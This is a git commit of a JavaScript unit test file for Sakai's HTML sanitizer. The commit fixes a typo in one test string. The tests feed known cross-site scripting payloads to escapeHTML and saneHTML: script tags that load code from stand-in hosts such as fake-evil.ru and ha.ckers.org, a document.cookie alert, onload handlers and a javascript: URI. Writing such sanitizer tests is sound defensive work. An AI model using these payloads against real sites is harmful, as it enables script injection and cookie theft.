<commit_before>module("Security");

(function(){

/*
 * Test the escape HTML function
 */

test("Escape HTML", function(){

    var htmlString = "<a href='http://www.google.com'>Advertising my script enabled site with redirect</a>";
    var escapedExpected = "&lt;a href='http://www.google.com'&gt;Advertising my script enabled site with redirect&lt;/a&gt;";

    htmlString = sakai.api.Security.escapeHTML(htmlString);
    equals(htmlString, escapedExpected, "The escaped string is correct");

});

/*
 * Basic XSS cases
 */
test("Script Attacks", function() {
    expect(8);

    var htmlString = "test<script>alert(document.cookie)</script>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<<<><<script src=http://fake-evil.ru/test.js>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<script<script src=http://fake-evil.ru/test.js>>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("onload"), -1, "Strip onload");

    htmlString = "<BODY ONLOAD=alert('XSS')>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("alert"), -1, "Strip alert");

    htmlString = "<iframe src=http://ha.ckers.org/scriptlet.html <";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("<iframe"), -1, "Strip iframe tag");

    htmlString = "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("src"), -1, "Strip src from input");
});

test("Image Attacks", function() {<commit_msg>SAKIII-610 fixed a typo in one of the tested strings<commit_after>module("Security");

(function(){

/*
 * Test the escape HTML function
 */

test("Escape HTML", function(){

    var htmlString = "<a href='http://www.google.com'>Advertising my script enabled site with redirect</a>";
    var escapedExpected = "&lt;a href='http://www.google.com'&gt;Advertising my script enabled site with redirect&lt;/a&gt;";

    htmlString = sakai.api.Security.escapeHTML(htmlString);
    equals(htmlString, escapedExpected, "The escaped string is correct");

});

/*
 * Basic XSS cases
 */
test("Script Attacks", function() {
    expect(8);

    var htmlString = "test<script>alert(document.cookie)</script>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<<<><<script src=http://fake-evil.ru/test.js>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<script<script src=http://fake-evil.ru/test.js>>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("script"), -1, "Strip script tag");

    htmlString = "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("onload"), -1, "Strip onload");

    htmlString = "<BODY ONLOAD=alert('XSS')>";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("alert"), -1, "Strip alert");

    htmlString = "<iframe src=http://ha.ckers.org/scriptlet.html <";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("<iframe"), -1, "Strip iframe tag");

    htmlString = "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">";
    htmlString = sakai.api.Security.saneHTML(htmlString);
    equals(htmlString.indexOf("src"), -1, "Strip src from input");
});

test("Image Attacks", function() {
{'fraction_non_alphanumeric': 0.19167429094236046, 'fraction_numerical': 0.004803293687099725, 'mean_word_length': 4.50062893081761, 'pattern_counts': {'":': 0, '<': 40, '<?xml version=': 0, '>': 29, 'https://': 0, 'lorem ipsum': 0, 'www.': 4, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2742620', 'n_tokens_mistral': 1471, 'n_tokens_neox': 1438, 'n_words': 267}